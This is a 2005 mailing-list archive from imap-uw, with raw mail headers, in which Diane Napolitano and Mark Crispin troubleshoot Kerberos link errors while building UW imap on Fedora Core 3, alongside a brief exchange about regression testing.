mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4fSE0026387; Wed, 21 Sep 2005 21:41:28 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4fQBn026371 for ; Wed, 21 Sep 2005 21:41:26 -0700 Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.198]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4fPDQ014133 for ; Wed, 21 Sep 2005 21:41:26 -0700 Received: by zproxy.gmail.com with SMTP id 16so84775nzp for ; Wed, 21 Sep 2005 21:41:25 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type; b=lnKxXwM1zwVdVKLNTJeXbgo7IcdE/EczlROiE2L5PlQlgHg88U/x9dwAyE8MhQbkbpmGiNRlG1EYPhmeYQKE5aDbL+lQLdCTWLCJhEW4IBXevKBoxPPCLVEDIvaCsvxrOJlUOJVyxI9f46MxRQ6sYFeSfmXNz7w3nhwjMWWulb4= Received: by 10.54.10.71 with SMTP id 71mr2942770wrj; Wed, 21 Sep 2005 21:41:25 -0700 (PDT) Received: by 10.54.77.4 with HTTP; Wed, 21 Sep 2005 21:41:25 -0700 (PDT) Message-ID: Date: Thu, 22 Sep 2005 00:41:25 -0400 From: Diane Napolitano To: imap-uw@u.washington.edu MIME-Version: 1.0 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] imap in Fedora Core 3 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Diane Napolitano List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1594925906==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1594925906== Content-Type: multipart/alternative; boundary="----=_Part_4902_17468698.1127364085286" ------=_Part_4902_17468698.1127364085286 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hello, all...I'm new to this list, as well as imap, so please excuse me if I'm posting this to the wrong listserv. I'm in the process of upgrading a server running Redhat 8 to Fedora Core 3, which has been going well, except for the fact that the server was running = a pop3 server with imap, and imap isn't included in FC3. I've tried using rpm= s I've found of imap-2004(e) and 2002, to no avail. No matter what I try, no matter what software I upgrade/downgrade/install/remove, I continue to get the following error message: /usr/sbin/ipop3d: symbol lookup error: /usr/sbin/ipop3d: undefined symbol: krb5_kt_start_seq_get Right now I'm using the version of imap-2002 that shipped with FC1. (I read elsewhere that this should work...) I hope someone out there can help with this...I'm at a real loss here... Thanks in advance, Diane ------=_Part_4902_17468698.1127364085286 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hello, all...I'm new to this list, as well as imap, so please excuse me if = I'm posting this to the wrong listserv.

    I'm in the process of upgrading a server running Redhat 8 to Fedora Core 3, which has been going well, except for the fact that the server was running a pop3 server with imap, and imap isn't included in FC3.  I've tried using rpms I've found of imap-2004(e) and 2002, to no avail.  No matter what I try, no matter what software I upgrade/downgrade/install/remove, I continue to get the following error message:

    /usr/sbin/ipop3d: symbol lookup error: /usr/sbin/ipop3d: undefined symbol: = krb5_kt_start_seq_get

    Right now I'm using the version of imap-2002 that shipped with FC1.  (= I read elsewhere that this should work...)

    I hope someone out there can help with this...I'm at a real loss here...
    Thanks in advance,
    Diane
    ------=_Part_4902_17468698.1127364085286-- --===============1594925906== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1594925906==-- From pinedev@shivax2.cac.washington.edu Wed Sep 21 22:06:00 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Sep 2005 22:05:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55xia007331 for ; Wed, 21 Sep 2005 22:05:59 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55w6e013195 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 22:05:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55t5o001386 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Sep 2005 22:05:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55tWR027903; Wed, 21 Sep 2005 22:05:55 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55rMK027895 for ; Wed, 21 Sep 2005 22:05:53 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55rrK025867 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 21 Sep 2005 22:05:53 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55qwb031757 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 22:05:52 -0700 X-Auth-Received: from [206.124.149.117] (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M55o1I027710 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 21 Sep 2005 22:05:51 -0700 Date: Wed, 21 Sep 2005 22:05:49 -0700 (PDT) From: Mark Crispin To: Diane Napolitano Subject: Re: [Imap-uw] imap in Fedora Core 3 In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 22 Sep 2005, Diane Napolitano wrote: > /usr/sbin/ipop3d: symbol lookup error: /usr/sbin/ipop3d: undefined symbol: > krb5_kt_start_seq_get This error message indicates a problem with the Kerberos library. I suggest that you get a copy of the imap-2004g sources: ftp://ftp.cac.washington.edu/mail/imap.tar.Z unpack it using the commands: gzip imap.tar.Z | tar xf - and then build it using the commands: cd imap-2004g make lfd EXTRAAUTHENTICATORS=gss If you do not need Kerberos support, you can setting the EXTRAUTHENTICATORS and just do: make lfd If you don't have all the necessary development environments installed, the build may fail. Just post a transcript of the failing build, and we'll tell you what development environments package(s) you need to install. It may be necessary to go through multiple iterations (generally no more than 2 or 3) before you have all the packages you need. The good news is that once you do this, you can build subsequent versions from UW without having to depend upon someone else to provide an RPM. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 21 22:16:05 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Sep 2005 22:16:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5G4wu007668 for ; Wed, 21 Sep 2005 22:16:04 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5G4wR013781 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 22:16:04 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5G0Zd012517 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Sep 2005 22:16:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5G0E5028551; Wed, 21 Sep 2005 22:16:00 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5G0pp028543 for ; Wed, 21 Sep 2005 22:16:00 -0700 Received: from lisbon.cc.columbia.edu (lisbon.cc.columbia.edu [128.59.39.12]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5FxaY011826 for ; Wed, 21 Sep 2005 22:15:59 -0700 Received: from lisbon.cc.columbia.edu (localhost [127.0.0.1]) by lisbon.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j8M5FvXh002996; Thu, 22 Sep 2005 01:15:57 -0400 (EDT) Received: (from selsky@localhost) by lisbon.cc.columbia.edu (8.13.0/8.12.3/Submit) id j8M5FvOM002995; Thu, 22 Sep 2005 01:15:57 -0400 (EDT) Date: Thu, 22 Sep 2005 01:15:57 -0400 From: Matt Selsky To: Mark Crispin Subject: Regress suite (was Re: [Imap-uw] Co-existing with Outlook ...) Message-ID: <20050922051557.GA2957@columbia.edu> References: <1127357202.86.1050594161@it.usyd.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.11 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu What sort of regression suite do you use for testing? > With that said, UW IMAP Toolkit version 2005 will have UIDPLUS support in > imapd. I am still doing regression testing on this version, and > additional performance work still needs to be done before any formal > release. However, I expect to start making development snapshots > available after the Pine 4.64 release (which will use the version 2004g > maintenence release of the IMAP toolkit). _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 21 22:19:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Sep 2005 22:19:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JXYX007803 for ; Wed, 21 Sep 2005 22:19:33 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JWsg014036 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 22:19:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JSBF026680 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Sep 2005 22:19:29 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JSPw028804; Wed, 21 Sep 2005 22:19:28 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JSMv028796 for ; Wed, 21 Sep 2005 22:19:28 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JRKW004734 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 21 Sep 2005 22:19:27 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JQuX012839 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 22:19:27 -0700 X-Auth-Received: from [206.124.149.117] (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M5JPVK027838 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 21 Sep 2005 22:19:26 -0700 Date: Wed, 21 Sep 2005 22:19:25 -0700 (PDT) From: Mark Crispin To: Matt Selsky Subject: Re: Regress suite (was Re: [Imap-uw] Co-existing with Outlook ...) In-Reply-To: <20050922051557.GA2957@columbia.edu> Message-ID: References: <1127357202.86.1050594161@it.usyd.edu.au> <20050922051557.GA2957@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 22 Sep 2005, Matt Selsky wrote: > What sort of regression suite do you use for testing? Extensive hand testing, and then usage with Pine on my real mailbox data (so if there's a bug, it's my mailbox that gets trashed). -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 22 06:54:30 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Sep 2005 06:54:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MDsTQk000458 for ; Thu, 22 Sep 2005 06:54:29 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MDsS43010964 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 22 Sep 2005 06:54:28 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MDsIOS013359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 22 Sep 2005 06:54:19 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MDsI7m030773; Thu, 22 Sep 2005 06:54:18 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MDsGAs030765 for ; Thu, 22 Sep 2005 06:54:16 -0700 Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.200]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MDsGEA020497 for ; Thu, 22 Sep 2005 06:54:16 -0700 Received: by zproxy.gmail.com with SMTP id 18so224676nzp for ; Thu, 22 Sep 2005 06:54:15 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references; b=sIla8aQqmWnT/6OIk+1w6Hcly/s1yR+BA/ONVvGfaMu1eXrJQDdpmQ+KENggkHwYA7aTayYnEGDvNONh9Y6nVYCpx2lwGQgW9TNzbfMS1sRaVehoKuM4RROSr+7Qf4pROMfoj0yp5SlSxbd0Nwh7WaynTvpBd+rzGrYMhT/92Do= Received: by 10.54.5.51 with SMTP id 51mr2934800wre; Thu, 22 Sep 2005 06:54:15 -0700 (PDT) Received: by 10.54.77.4 with HTTP; Thu, 22 Sep 2005 06:54:15 -0700 (PDT) Message-ID: Date: Thu, 22 Sep 2005 09:54:15 -0400 From: Diane Napolitano To: Mark Crispin , imap-uw@u.washington.edu Subject: Re: [Imap-uw] imap in Fedora Core 3 In-Reply-To: MIME-Version: 1.0 References: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Diane Napolitano List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1393295569==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1393295569== Content-Type: multipart/alternative; boundary="----=_Part_6480_5915224.1127397255840" ------=_Part_6480_5915224.1127397255840 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On 9/22/05, Mark Crispin wrote: > > On Thu, 22 Sep 2005, Diane Napolitano wrote: > > /usr/sbin/ipop3d: symbol lookup error: /usr/sbin/ipop3d: undefined > symbol: > > krb5_kt_start_seq_get > > This error message indicates a problem with the Kerberos library. > > I suggest that you get a copy of the imap-2004g sources: > ftp://ftp.cac.washington.edu/mail/imap.tar.Z > unpack it using the commands: > gzip imap.tar.Z | tar xf - > and then build it using the commands: > cd imap-2004g > make lfd EXTRAAUTHENTICATORS=3Dgss > > If you do not need Kerberos support, you can setting the > EXTRAUTHENTICATORS and just do: > make lfd > > If you don't have all the necessary development environments installed, > the build may fail. Just post a transcript of the failing build, and > we'll tell you what development environments package(s) you need to > install. It may be necessary to go through multiple iterations (generally > no more than 2 or 3) before you have all the packages you need. > > The good news is that once you do this, you can build subsequent versions > from UW without having to depend upon someone else to provide an RPM. Thanks for the suggestions, but I already tried both of these solutions...the make does fail, with the following output: /usr/lib/libssl.so: undefined reference to `krb5_cc_get_principal' /usr/lib/libssl.so: undefined reference to `krb5_kt_close' /usr/lib/libssl.so: undefined reference to `krb5_rc_get_lifespan' /usr/lib/libssl.so: undefined reference to `krb5_rc_destroy' /usr/lib/libssl.so: undefined reference to `krb5_kt_get_entry' /usr/lib/libssl.so: undefined reference to `krb5_rc_initialize' collect2: ld returned 1 exit status make[2]: *** [mtest] Error 1 make[2]: Leaving directory `/root/imap-2004g/mtest' make[1]: *** [bundled] Error 2 make[1]: Leaving directory `/root/imap-2004g' I get this same result with and without EXTRAAUTHENTICATORS=3Dgss. In addit= ion to this, I constantly get numerous pointer warnings, all similar (if not exactly the same) as this: mtest.c:778: warning: pointer targets in assignment differ in signedness If it helps, the output from rpm -qa | grep krb5 shows I'm using kerberos5 version 1.4.3. Thanks again for the help. - Diane ------=_Part_6480_5915224.1127397255840 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On 9/22/05, Mark Crispin <mrc@cac.washington.edu> wrote:
    On Thu, 22 Sep 2005, Diane Napolitano wrote:
    > /usr/sbin/ipop3d: symb= ol lookup error: /usr/sbin/ipop3d: undefined symbol:
    > krb5_kt_start_= seq_get

    This error message indicates a problem with the Kerberos lib= rary.

    I suggest that you get a copy of the imap-2004g sources:
     &= nbsp;      ftp://ftp.cac.washington.edu/mail/imap.tar.Z
    = unpack it using the commands:
           =  gzip=20 imap.tar.Z | tar xf -
    and then build it using the commands:
     &nb= sp;      cd imap-2004g
       &= nbsp;    make lfd EXTRAAUTHENTICATORS=3Dgss

    If y= ou do not need Kerberos support, you can setting the
    EXTRAUTHENTICATORS = and just do:
            make lfd

    If you = don't have all the necessary development environments installed,
    the bui= ld may fail.  Just post a transcript of the failing build, andwe'll tell you what development environments package(s) you need to
    install.  It may be necessary to go through multiple iteratio= ns (generally
    no more than 2 or 3) before you have all the packages you = need.

    The good news is that once you do this, you can build subseque= nt versions
    from UW without having to depend upon someone else to provide an RPM.

    Thanks for the suggestions, but I already tried both of these solutions...t= he make does fail, with the following output:

    /usr/lib/libssl.so: undefined reference to `krb5_cc_get_principal'
    /usr/lib/libssl.so: undefined reference to `krb5_kt_close'
    /usr/lib/libssl.so: undefined reference to `krb5_rc_get_lifespan'
    /usr/lib/libssl.so: undefined reference to `krb5_rc_destroy'
    /usr/lib/libssl.so: undefined reference to `krb5_kt_get_entry'
    /usr/lib/libssl.so: undefined reference to `krb5_rc_initialize'
    collect2: ld returned 1 exit status
    make[2]: *** [mtest] Error 1
    make[2]: Leaving directory `/root/imap-2004g/mtest'
    make[1]: *** [bundled] Error 2
    make[1]: Leaving directory `/root/imap-2004g'

    I get this same result with and without EXTRAAUTHENTICATORS=3Dgss.  In addition to this, I constantly get numerous pointer warnings, all similar (if not exactly the same) as this:

    mtest.c:778: warning: pointer targets in assignment differ in signedness
    If it helps, the output from rpm -qa | grep krb5 shows I'm using kerberos5 = version 1.4.3.

    Thanks again for the help.

    - Diane
    ------=_Part_6480_5915224.1127397255840-- --===============1393295569== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1393295569==-- From pinedev@shivax2.cac.washington.edu Thu Sep 22 15:46:57 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Sep 2005 15:46:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMkvfI001214 for ; Thu, 22 Sep 2005 15:46:57 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMkuDG006863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 22 Sep 2005 15:46:56 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMkqXe005774 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 22 Sep 2005 15:46:52 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMkqc7002057; Thu, 22 Sep 2005 15:46:52 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMkpNo002049 for ; Thu, 22 Sep 2005 15:46:51 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMkohi013568 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 22 Sep 2005 15:46:50 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMknCq030041 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 22 Sep 2005 15:46:49 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8MMkmiU006654 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 22 Sep 2005 15:46:49 -0700 Date: Thu, 22 Sep 2005 15:46:35 -0700 (Pacific Daylight Time) From: Mark Crispin To: Diane Napolitano Subject: Re: [Imap-uw] imap in Fedora Core 3 In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 22 Sep 2005, Diane Napolitano wrote: > /usr/lib/libssl.so: undefined reference to `krb5_cc_get_principal' > /usr/lib/libssl.so: undefined reference to `krb5_kt_close' > /usr/lib/libssl.so: undefined reference to `krb5_rc_get_lifespan' > /usr/lib/libssl.so: undefined reference to `krb5_rc_destroy' > /usr/lib/libssl.so: undefined reference to `krb5_kt_get_entry' > /usr/lib/libssl.so: undefined reference to `krb5_rc_initialize' These messages indicate that the Kerberos libraries aren't getting loaded, and that the SSL library requires them. Is there anything on /usr/kerberos/lib ? We need to find files libgssapi_krb5.a, libkrb5.a, libk5crypto.a, and libcom_err.a > I get this same result with and without EXTRAAUTHENTICATORS=gss. Did you do a "make clean" prior to retrying with make ldb EXTRAAUTHENTICATORS=gss You must do a "make clean" if you change the build configuration. > In addition > to this, I constantly get numerous pointer warnings, all similar (if not > exactly the same) as this: > mtest.c:778: warning: pointer targets in assignment differ in signedness You can quell these by adding EXTRACFLAGS=-Wno-pointer-sign to the build command, e.g., make ldb EXTRAAUTHENTICATORS=gss EXTRACFLAGS=-Wno-pointer-sign -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Sep 23 16:52:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Sep 2005 16:52:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNqYir019740 for ; Fri, 23 Sep 2005 16:52:34 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by 